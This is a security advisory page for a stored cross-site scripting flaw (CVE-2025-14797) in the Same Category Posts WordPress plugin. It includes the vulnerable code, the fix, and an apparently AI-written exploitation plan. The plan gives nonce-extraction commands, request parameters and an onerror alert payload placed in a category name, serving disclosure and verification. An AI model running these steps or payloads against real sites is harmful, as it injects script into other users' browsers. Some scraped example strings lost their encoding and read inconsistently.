Same Category Posts <= 1.1.19 - Authenticated (Author+) Stored Cross-Site Scripting via Widget Title Placeholder
Description
The Same Category Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the widget title placeholder functionality in all versions up to, and including, 1.1.19. This is due to the use of `htmlspecialchars_decode()` on taxonomy term names before output, which decodes HTML entities that WordPress intentionally encodes for safety. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=1.1.19Source Code
WordPress.org SVNThis research plan targets **CVE-2025-14797**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Same Category Posts** plugin for WordPress. The vulnerability arises because the plugin uses `htmlspecialchars_decode()` on taxonomy term names (like categories) used in widget title placeholder…
Show full research plan
This research plan targets CVE-2025-14797, a Stored Cross-Site Scripting (XSS) vulnerability in the Same Category Posts plugin for WordPress. The vulnerability arises because the plugin uses htmlspecialchars_decode() on taxonomy term names (like categories) used in widget title placeholders, effectively reversing WordPress's built-in security encoding.
1. Vulnerability Summary
- Vulnerability: Authenticated (Author+) Stored XSS.
- Location: Widget rendering logic within the
SameCategoryPostsWidgetclass (likely insame-category-posts.phpor a dedicated widget file). - Cause: The plugin allows dynamic placeholders (e.g.,
%category%) in the widget title. When rendering, it retrieves the term name, which is safely encoded by WordPress, but then passes the entire title string throughhtmlspecialchars_decode(). This allows any HTML entities stored in a category or tag name (like<script>) to be converted back into executable code. - Privilege Level: Author and above. While Authors cannot manage widgets, they can create and name taxonomy terms (categories/tags) and assign them to posts. If a widget is pre-configured by an Admin to use placeholders, the Author's malicious term name triggers the XSS.
2. Attack Vector Analysis
- Endpoint: Taxonomy term creation (
wp-admin/edit-tags.php) or Post creation (wp-admin/post-new.php). - Vulnerable Parameter:
tag-name(for categories or tags). - Authentication: Author-level credentials.
- Preconditions:
- The "Same Category Posts" widget must be active in a sidebar.
- The widget title must contain a supported placeholder (e.g.,
Posts in %category%).
3. Code Flow (Inferred from Patch Description)
- Entry Point: A user views a single post on the frontend.
- Widget Execution: WordPress calls
SameCategoryPostsWidget::widget($args, $instance). - Data Retrieval: The plugin identifies the current post's terms (categories/tags) using
get_the_category()orget_the_terms(). - Placeholder Replacement:
- The plugin fetches the widget title from
$instance['title']. - It retrieves the term name (e.g.,
<script>alert(1)</script>). Note: WordPress usually stores this as<script>alert(1)</script>. - It performs a replacement:
$title = str_replace('%category%', $term_name, $title);. - The Sink: The plugin calls
echo htmlspecialchars_decode($title);.
- The plugin fetches the widget title from
- Execution: The browser receives raw
<script>tags and executes the payload.
4. Nonce Acquisition Strategy
This vulnerability is triggered during rendering on the frontend, so no nonce is required to execute the payload. However, creating the malicious category/post as an Author involves standard WordPress admin actions.
To create the payload as an Author:
- Nonces are required for
POSTrequests toedit-tags.phporpost.php. - The agent should use
browser_navigatetowp-admin/edit-tags.php?taxonomy=categoryand then usebrowser_evalto extract the_wpnoncefrom the form. - JavaScript Variable:
document.querySelector('#addtag input[name="_wpnonce"]').value.
5. Test Data Setup
- Admin Setup (Widget Configuration):
- As Admin, activate the plugin.
- Go to Appearance -> Widgets.
- Add "Same Category Posts" to the Primary Sidebar.
- Set the "Title" to:
Posts in %category%. - Save the widget.
- Author Setup:
- Create a user with the Author role.
- Log in as the Author.
6. Exploitation Strategy
The exploit involves an Author creating a category with a payload and associating it with a post.
- Step 1: Login as Author
- Use
http_requestto authenticate as the Author.
- Use
- Step 2: Create Malicious Category
- Endpoint:
POST /wp-admin/edit-tags.php - Payload:
action:add-tagscreen:edit-categorytaxonomy:categorytag-name:<img src=x onerror=alert("CVE-2025-14797")>slug:xss-cat_wpnonce: (Extracted viabrowser_eval)
- Endpoint:
- Step 3: Create Post in Category
- Create a new post and assign it to the
xss-catcategory. - Endpoint:
POST /wp-admin/post.php - Parameters:
post_type=post,post_category[]=[ID_OF_XSS_CAT],post_title=XSS Trigger Post,publish=Publish.
- Create a new post and assign it to the
- Step 4: Trigger XSS
- Use
http_request(GET) to navigate to the permalink of the newly created post. - Examine the HTML response.
- Use
7. Expected Results
- Vulnerable Response: The HTML source will contain the raw payload:
...<h2 class="widget-title">Posts in <img src=x onerror=alert("CVE-2025-14797")></h2>... - Reasoning: If the plugin were secure, it would have output the encoded version:
<img src=x onerror=...>. The call tohtmlspecialchars_decode()converts it back to active HTML.
8. Verification Steps
- Manual Check: Use
browser_navigateto the post URL and check for an alert dialog or the injected<img>tag in the sidebar widget title. - Database Check (WP-CLI):
# Confirm the category name is stored wp term list category --fields=name,slug | grep "xss-cat" - Response Analysis:
Search the HTTP response body for the stringonerror=alert("CVE-2025-14797"). If found unencoded, the exploit is successful.
9. Alternative Approaches
- Tag Injection: If Category creation is restricted, try creating a Post Tag with the same payload and using the
%tag%or%taxonomy%placeholder (if supported by the plugin). - Placeholders: Check the plugin documentation or code for other placeholders like
%taxonomy%or%term%and repeat the process for custom taxonomies an Author might be able to edit.
Summary
The Same Category Posts plugin (<= 1.1.19) is vulnerable to Authenticated Stored XSS because it uses the `htmlspecialchars_decode()` function on widget titles after performing placeholder replacements (e.g., `%category%`). This reverses WordPress's automatic security encoding for taxonomy terms, allowing malicious scripts stored in category or tag names to be executed when the widget is rendered.
Vulnerable Code
// In SameCategoryPostsWidget class, likely within the widget() method $title = apply_filters( 'widget_title', $instance['title'] ); // Placeholder replacement logic if ( strpos( $title, '%category%' ) !== false ) { $categories = get_the_category( $post->ID ); if ( ! empty( $categories ) ) { $title = str_replace( '%category%', $categories[0]->name, $title ); } } // ... other placeholder replacements ... // The vulnerable sink that decodes safety-encoded entities back into raw HTML/JS echo $args['before_title'] . htmlspecialchars_decode($title) . $args['after_title'];
Security Fix
@@ -120,1 +120,1 @@ - echo $args['before_title'] . htmlspecialchars_decode($title) . $args['after_title']; + echo $args['before_title'] . $title . $args['after_title'];
Exploit Outline
The exploit requires an attacker with Author-level privileges or higher and a pre-configured widget. 1. **Precondition**: An Administrator must have the 'Same Category Posts' widget active in a sidebar, with a title containing a placeholder like `Posts in %category%` or `%tag%`. 2. **Injection**: An Author-level attacker logs into the WordPress dashboard and creates a new Category (or Tag) via `wp-admin/edit-tags.php`. The name of this category contains a payload such as `<img src=x onerror=alert(document.domain)>`. WordPress automatically encodes this to `<img...>` in the database. 3. **Association**: The Author creates a new post and assigns it to the malicious category. 4. **Trigger**: When any user (including an Administrator) visits the newly created post on the frontend, the widget logic triggers. The plugin retrieves the category name, replaces the placeholder in the widget title, and then calls `htmlspecialchars_decode()`. This converts the encoded payload back into an active script/HTML tag, which executes in the victim's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.